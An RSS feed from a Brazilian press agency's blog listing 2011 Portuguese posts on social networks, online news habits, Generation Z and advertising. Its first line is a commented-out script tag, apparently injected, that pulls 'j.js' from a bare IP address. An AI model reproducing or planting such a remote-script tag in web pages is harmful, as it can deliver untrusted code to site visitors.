<!--<script src=http://201.49.218.35/.../j.js></script>-->
<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>d&#38;a blog &#187; Comportamento</title>
	<atom:link href="http://www.deaimprensa.com.br/blog/category/comportamento/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.deaimprensa.com.br/blog</link>
	<description>Assessoria de Imprensa</description>
	<lastBuildDate>Fri, 03 Feb 2012 20:09:19 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.1</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Orkut ainda é maior que Facebook no Brasil</title>
		<link>http://www.deaimprensa.com.br/blog/2011/12/orkut-ainda-e-maior-que-facebook-no-brasil/</link>
		<comments>http://www.deaimprensa.com.br/blog/2011/12/orkut-ainda-e-maior-que-facebook-no-brasil/#comments</comments>
		<pubDate>Thu, 15 Dec 2011 13:38:05 +0000</pubDate>
		<dc:creator>Renato</dc:creator>
				<category><![CDATA[Comportamento]]></category>
		<category><![CDATA[Internet]]></category>
		<category><![CDATA[Tecnologia]]></category>

		<guid isPermaLink="false">http://www.deaimprensa.com.br/blog/?p=3976</guid>
		<description><![CDATA[









 Se você já está cansado de ler pesquisas que avaliam o duelo entre Facebook e Orkut no Brasil, eis mais uma. Só que desta vez o panorama é diferente. Apesar de todo o alvoroço em torno da rede de Mark Zuckerberg, o site de relacionamentos ainda não é líder no Brasil. É o que aponta a [...]]]></description>
		<wfw:commentRss>http://www.deaimprensa.com.br/blog/2011/12/orkut-ainda-e-maior-que-facebook-no-brasil/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Twitter e Facebook divulgam os hits de 2011</title>
		<link>http://www.deaimprensa.com.br/blog/2011/12/twitter-e-facebook-divulgam-os-hits-de-2011/</link>
		<comments>http://www.deaimprensa.com.br/blog/2011/12/twitter-e-facebook-divulgam-os-hits-de-2011/#comments</comments>
		<pubDate>Wed, 07 Dec 2011 13:56:05 +0000</pubDate>
		<dc:creator>Renato</dc:creator>
				<category><![CDATA[Comportamento]]></category>
		<category><![CDATA[Comunicação & Jornalismo]]></category>
		<category><![CDATA[Internet]]></category>

		<guid isPermaLink="false">http://www.deaimprensa.com.br/blog/?p=3954</guid>
		<description><![CDATA[









  O Twitter e o Facebook, duas das mais populares redes sociais, divulgaram nesta quarta-feira, 7, o ranking dos assuntos que foram destaque nestes meios durante o ano de 2011. 
Top 16 do Twitter 
Dezesseis fatos chamaram a atenção fortemente no Twitter, a ponto de ultrapassarem a barreira dos 3 mil tweets por segundo. Como parte de [...]]]></description>
		<wfw:commentRss>http://www.deaimprensa.com.br/blog/2011/12/twitter-e-facebook-divulgam-os-hits-de-2011/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Fila Night Run São Paulo fecha temporada 2011 com a participação de 14 mil corredores</title>
		<link>http://www.deaimprensa.com.br/blog/2011/11/fila-night-run-sao-paulo-fecha-temporada-2011-com-a-participacao-de-14-mil-corredores/</link>
		<comments>http://www.deaimprensa.com.br/blog/2011/11/fila-night-run-sao-paulo-fecha-temporada-2011-com-a-participacao-de-14-mil-corredores/#comments</comments>
		<pubDate>Mon, 21 Nov 2011 19:22:01 +0000</pubDate>
		<dc:creator>Renée Beralde</dc:creator>
				<category><![CDATA[Comportamento]]></category>
		<category><![CDATA[Cultura & entretenimento]]></category>
		<category><![CDATA[Esporte]]></category>
		<category><![CDATA[d&a pautas]]></category>

		<guid isPermaLink="false">http://www.deaimprensa.com.br/blog/?p=3858</guid>
		<description><![CDATA[
Na noite do último sábado, dia 19 de novembro,  São Paulo recebeu a segunda edição da maior corrida de rua noturna do País. Famosa por reunir esporte, balada e muito entretenimento, o evento contou com a participação de 14 mil corredores para a rua.
Os participantes da Fila Night Run foram embalados pelo show da [...]]]></description>
		<wfw:commentRss>http://www.deaimprensa.com.br/blog/2011/11/fila-night-run-sao-paulo-fecha-temporada-2011-com-a-participacao-de-14-mil-corredores/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Site de denúncias anônimas da Folha recebe 700 mensagens em seis dias</title>
		<link>http://www.deaimprensa.com.br/blog/2011/09/site-de-denuncias-anonimas-da-folha-recebe-700-mensagens-em-seis-dias/</link>
		<comments>http://www.deaimprensa.com.br/blog/2011/09/site-de-denuncias-anonimas-da-folha-recebe-700-mensagens-em-seis-dias/#comments</comments>
		<pubDate>Wed, 28 Sep 2011 22:18:57 +0000</pubDate>
		<dc:creator>Caio Miranda</dc:creator>
				<category><![CDATA[Cidadania]]></category>
		<category><![CDATA[Comportamento]]></category>
		<category><![CDATA[Comunicação & Jornalismo]]></category>

		<guid isPermaLink="false">http://www.deaimprensa.com.br/blog/?p=3561</guid>
		<description><![CDATA[ A página , lançada na semana passada pela Folha de São Paulo, recebeu, em seis dias &#8211; até as 18h desta sexta-feira (24/9), 700 mensagens com relatos de leitores de vários lugares do País a respeito de nepotismo, fraudes em licitações e favorecimentos de políticos nas três esferas de poder.
O canal – inspirado no site [...]]]></description>
		<wfw:commentRss>http://www.deaimprensa.com.br/blog/2011/09/site-de-denuncias-anonimas-da-folha-recebe-700-mensagens-em-seis-dias/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>40% dos internautas brasileiros usam a web para ler notícias, mostra pesquisa</title>
		<link>http://www.deaimprensa.com.br/blog/2011/09/40-dos-internautas-brasileiros-usam-a-web-para-ler-noticias-mostra-pesquisa/</link>
		<comments>http://www.deaimprensa.com.br/blog/2011/09/40-dos-internautas-brasileiros-usam-a-web-para-ler-noticias-mostra-pesquisa/#comments</comments>
		<pubDate>Tue, 13 Sep 2011 14:41:43 +0000</pubDate>
		<dc:creator>Rodrigo Vieira</dc:creator>
				<category><![CDATA[Comportamento]]></category>
		<category><![CDATA[Internet]]></category>

		<guid isPermaLink="false">http://www.deaimprensa.com.br/blog/?p=3468</guid>
		<description><![CDATA[Grande parte dos internautas brasileiros usa a web com a principal finalidade de ler notícias. O índice de 40% perde apenas para a troca de e-mails, preferida por 44%. Em seguida vem o acesso a informações gerais em sites de busca (39%) e mídias sociais (39%). As informações fazem parte de um estudo realizado pela GfK, 4ª [...]]]></description>
		<wfw:commentRss>http://www.deaimprensa.com.br/blog/2011/09/40-dos-internautas-brasileiros-usam-a-web-para-ler-noticias-mostra-pesquisa/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Crowdsourcing mostra novo jeito de se trabalhar</title>
		<link>http://www.deaimprensa.com.br/blog/2011/08/crowdsourcing-mostra-novo-jeito-de-se-trabalhar/</link>
		<comments>http://www.deaimprensa.com.br/blog/2011/08/crowdsourcing-mostra-novo-jeito-de-se-trabalhar/#comments</comments>
		<pubDate>Tue, 30 Aug 2011 14:53:09 +0000</pubDate>
		<dc:creator>Renato</dc:creator>
				<category><![CDATA[Comportamento]]></category>
		<category><![CDATA[Vida Sustentável]]></category>

		<guid isPermaLink="false">http://www.deaimprensa.com.br/blog/?p=3379</guid>
		<description><![CDATA[










Não só as empresas, mas toda a sociedade deveria prestar mais atenção ao crowdsourcing, que desenha um novo modelo econômico e tem potencial para delimitar os próximos passos do desenvolvimento humano e tecnológico. Na opinião de especialistas, a colaboração precisa deixar de ser vista como mero instrumento de trabalho para se tornar coeficiente de um [...]]]></description>
		<wfw:commentRss>http://www.deaimprensa.com.br/blog/2011/08/crowdsourcing-mostra-novo-jeito-de-se-trabalhar/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Geração Z é mais conectada, fuma menos e lê pouco, diz pesquisa</title>
		<link>http://www.deaimprensa.com.br/blog/2011/08/geracao-z-e-mais-conectada-fuma-menos-e-le-pouco-diz-pesquisa/</link>
		<comments>http://www.deaimprensa.com.br/blog/2011/08/geracao-z-e-mais-conectada-fuma-menos-e-le-pouco-diz-pesquisa/#comments</comments>
		<pubDate>Wed, 24 Aug 2011 19:50:17 +0000</pubDate>
		<dc:creator>Mayara De Bona</dc:creator>
				<category><![CDATA[Comportamento]]></category>
		<category><![CDATA[Consumo]]></category>
		<category><![CDATA[Internet]]></category>
		<category><![CDATA[Mundo]]></category>
		<category><![CDATA[Tecnologia]]></category>

		<guid isPermaLink="false">http://www.deaimprensa.com.br/blog/?p=3364</guid>
		<description><![CDATA[A Quest Inteligência de Mercado divulgou um estudo que analisa o mercado  de diferentes faixas etárias. Foram ouvidas 600 pessoas na capital  paulista, com idade entre 14 e 51 anos, para realização do “São Paulo em  Foco: Gerações X, Y e Z”. A pesquisa revela as diferenças e  similaridades existentes entre [...]]]></description>
		<wfw:commentRss>http://www.deaimprensa.com.br/blog/2011/08/geracao-z-e-mais-conectada-fuma-menos-e-le-pouco-diz-pesquisa/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Quando você checou seu smartphone pela última vez?</title>
		<link>http://www.deaimprensa.com.br/blog/2011/07/quando-voce-checou-seu-smartphone-pela-ultima-vez/</link>
		<comments>http://www.deaimprensa.com.br/blog/2011/07/quando-voce-checou-seu-smartphone-pela-ultima-vez/#comments</comments>
		<pubDate>Thu, 28 Jul 2011 12:10:37 +0000</pubDate>
		<dc:creator>Rodrigo Vieira</dc:creator>
				<category><![CDATA[Comportamento]]></category>
		<category><![CDATA[Tecnologia]]></category>

		<guid isPermaLink="false">http://www.deaimprensa.com.br/blog/?p=3181</guid>
		<description><![CDATA[ Pesquisadores do Helsinki Institute for Information Technology (HIIT) e do Intel Labs realizaram um estudo que trouxe resultados impressionantes: as pessoas estão criando uma obsessão por checar, a todo tempo e em qualquer lugar, seus smartphones em busca de noticias e informação, além de verificar seus emails e perfis nas redes sociais.

 O estudo foi feito [...]]]></description>
		<wfw:commentRss>http://www.deaimprensa.com.br/blog/2011/07/quando-voce-checou-seu-smartphone-pela-ultima-vez/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Ana Paula Padrão lança portal dedicado à mulher</title>
		<link>http://www.deaimprensa.com.br/blog/2011/07/ana-paula-padrao-lanca-portal-dedicado-a-mulher/</link>
		<comments>http://www.deaimprensa.com.br/blog/2011/07/ana-paula-padrao-lanca-portal-dedicado-a-mulher/#comments</comments>
		<pubDate>Mon, 18 Jul 2011 17:03:04 +0000</pubDate>
		<dc:creator>Rodrigo Vieira</dc:creator>
				<category><![CDATA[Comportamento]]></category>
		<category><![CDATA[Comunicação & Jornalismo]]></category>
		<category><![CDATA[Tecnologia]]></category>

		<guid isPermaLink="false">http://www.deaimprensa.com.br/blog/?p=3136</guid>
		<description><![CDATA[ Uma das principais personalidades do jornalismo na Record, a apresentadora Ana Paula Padrão está para se lançar em um novo empreendimento. No próximo mês será apresentado o &#8220;Tempo de Mulher&#8220;, que funcionará como uma plataforma multimídia voltada à &#8220;nova mulher brasileira&#8221;.
Nos últimos dias circulou a especulação de que Ana Paula comandaria um novo programa televisivo, [...]]]></description>
		<wfw:commentRss>http://www.deaimprensa.com.br/blog/2011/07/ana-paula-padrao-lanca-portal-dedicado-a-mulher/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Viral offline. Seria a “nova novidade” na publicidade?</title>
		<link>http://www.deaimprensa.com.br/blog/2011/07/viral-offline-seria-a-%e2%80%9cnova-novidade%e2%80%9d-na-publicidade/</link>
		<comments>http://www.deaimprensa.com.br/blog/2011/07/viral-offline-seria-a-%e2%80%9cnova-novidade%e2%80%9d-na-publicidade/#comments</comments>
		<pubDate>Fri, 15 Jul 2011 18:11:17 +0000</pubDate>
		<dc:creator>Renée Beralde</dc:creator>
				<category><![CDATA[Comportamento]]></category>
		<category><![CDATA[Comunicação & Jornalismo]]></category>
		<category><![CDATA[Mundo]]></category>
		<category><![CDATA[Publicidade & Propaganda]]></category>

		<guid isPermaLink="false">http://www.deaimprensa.com.br/blog/?p=3131</guid>
		<description><![CDATA[
Taí uma coisa sem a qual a dupla Publicidade e Propaganda não vivem: novidade! Além de uma boa ideia, algo novo sempre é uma boa pedida.
Anúncio interativo já foi novidade. Vídeo no YouTube, como viral, também já foi novidade. Que tal pegar essas duas “novidades antigas” e gerar uma “nova novidade”? Pois foi o que [...]]]></description>
		<wfw:commentRss>http://www.deaimprensa.com.br/blog/2011/07/viral-offline-seria-a-%e2%80%9cnova-novidade%e2%80%9d-na-publicidade/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

